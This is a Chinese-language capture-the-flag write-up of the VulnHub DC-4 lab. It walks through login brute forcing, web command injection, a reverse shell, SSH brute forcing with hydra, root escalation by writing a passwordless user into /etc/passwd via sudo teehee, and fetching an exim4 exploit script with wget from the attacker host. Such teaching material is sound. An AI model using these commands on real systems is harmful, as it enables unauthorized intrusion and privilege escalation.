一.环境搭建
1.靶场描述
DC-4 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
Unlike the previous DC releases, this one is designed primarily for beginners/intermediates. There is only one flag, but technically, multiple entry points and just like last time, no clues.
Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.
只有一个flag
2.下载靶场环境
靶场下载地址:
https://www.vulnhub.com/entry/dc-4,313/
下载下来的文件如下
3.启动靶场环境
下载下来是虚拟机压缩文件,直接用Vmvare导入就行。
虚拟机开启之后界面如下,我们不知道ip,需要自己探活,网段知道:192.168.52.0/24
二.渗透靶场
1.目标
目标就是我们搭建的靶场,靶场IP为:192.168.52.0/24
2.寻找靶机真实IP
使用nmap进行探活,寻找靶机ip
192.168.52.152是kali的ip地址,可以知道靶场ip地址是192.168.52.135
3.探端口及服务
使用nmap探活端口
发现开放了22端口,存在ssh服务,OpenSSH 7.4p1
发现开放了80端口,存在web服务,nginx 1.15.10
我们进行指纹识别
4.访问服务
5.爆破用户名和密码
这里使用bp尝试获取弱口令抓个包,发送到爆破模块
设置好爆破点
用户名我使用常见用户名字典
字典使用1000-top
爆破中
爆破结果如下:
发现admin/happy这一组返回包长度最长,猜想他就是账号密码
登录成功
6.命令执行
发现这里可以执行三种命令
点击list files好像是执行了ls -l
点击run抓个包看一下
发现真的是执行了ls -l
发现执行了ls并回返值,猜想能不能执行任意命令,把抓到的包放入重放攻击模块修改命令进行重放攻击由上面ls -l拼接方式看,我们可以知道空格使用+代替执行ls
执行whoami
执行id
执行ipadd
由上面的测试可知确实存在任意命令执行,空格由+代替
7.反弹shell到kali
1)攻击机监听
2)靶机连接
3)反弹shell成功
8.进入交互式shell
我们知道上面的到的shell不好用,我们进入交互式shell
python -c "import pty;pty.spawn('/bin/bash')"
9.teehee提权
这个靶机可以使用exim4提权也可以使用teehee提权,两种提权方式选择一种即可
1)查看当前权限
查看当前权限,不是root权限
2)发现old-passwords.bak文件
查看系统里面有什么文件在/home/jim/backups下看到一个old-passwords.bak文件,看名字应该是一堆密码,而且是jim用户使用过的密码
打开看一下发现一堆密码
感觉可以做爆破字典把文件保存下来
3)爆破出jim的ssh密码
使用hydra爆破一下ssh密码
hydra -l jim -P '/home/kali/桌面/password.txt' 192.168.52.135 ssh
用户名为jim,密码为我们保存的old-passwords.bak.txt
果然爆破出一个一对用户密码:jim/jibril04
4)使用kali登录jim
5)发现charles用户密码
继续探索在/var/spool/mail目录下发现一封名为jim的邮件邮件内容大致为:我今天要去度假了,所以老板让我给你我的密码,以防有什么事情发生错了。也就是说这里我们又拿到了一个用户名和密码
Charles/^xHhA&hvim0y
直接su 切换用户试试,提示没有这个用户名,那很明显首字母我们需要小写
密码是^xHhA&hvim0y
10.teehee提权
1)查看使用sudo运行的命令
2)执行如下命令进行提权:echo “admin::0:0:::/bin/bash” | sudo teehee -a /etc/passwd
命令的意思大致利用teehee为把如下信息写到/etc/passwd里面,在用户名admin 没有密码为管理员权限,进入的时候运行/bin/bash
3)/etc/passwd 内每个字段含义如下
admin::0:0:::/bin/bash
username:password:User ID:Group ID:comment:home directory:shell
4)成功提权为root
10.发现flag.txt
10.exim4提权
1)查看当前权限
查看当前权限,不是root权限
2)发现可以用exim4进行提权
看看具有SUID权限的命令
find / -user root -perm -4000 -print 2>/dev/null
发现exim4命令具有SUID权限,exim4是可以用来提权的
查看查看exim4版本,发现exim4版本为4.89
3)寻找exim4提权脚本
本地漏洞库查找exim 4漏洞
exim4版本为4.89,发现有好几个可以用,还有两个提权,这里我们选用46996
4)上传提权脚本到靶机
开启apache服务
systemctl start apache2.service
将选用的46996拷贝到kali的apache web页面下
访问kali服务下载提权脚本
DC-4下载提权脚本
wget http://192.168.52.152/46996.sh
提示可以访问,但拒绝访问,可能是目录权限不够,尝试切换到/tmp目录进行下载
成功下载提权脚本
5)exim4提权
我们已经上传了提权脚本到靶机,接下来我们需要运行脚本进行提权
ls -l
查看脚本权限,发现没有执行权限,我们需要给脚本加执行权限
6)执行脚本
三、相关资源
1、靶场下载地址
2、[ 隧道技术 ] 反弹shell的集中常见方式(一)nc反弹shell
3、[ 常用工具篇 ] burpsuite_pro 安装配置详解(附安装包)
4、arp-scan
5、文中用到的字典
6、nmap
7、masscan
8、whatweb
9、实现交互式shell的几种方式
10、[ 隧道技术 ] 反弹shell的集中常见方式(一)nc反弹shell
11、提权辅助工具集合
12、简谈SUID提权
13、[ 常用工具篇 ] AntSword 蚁剑安装及使用详解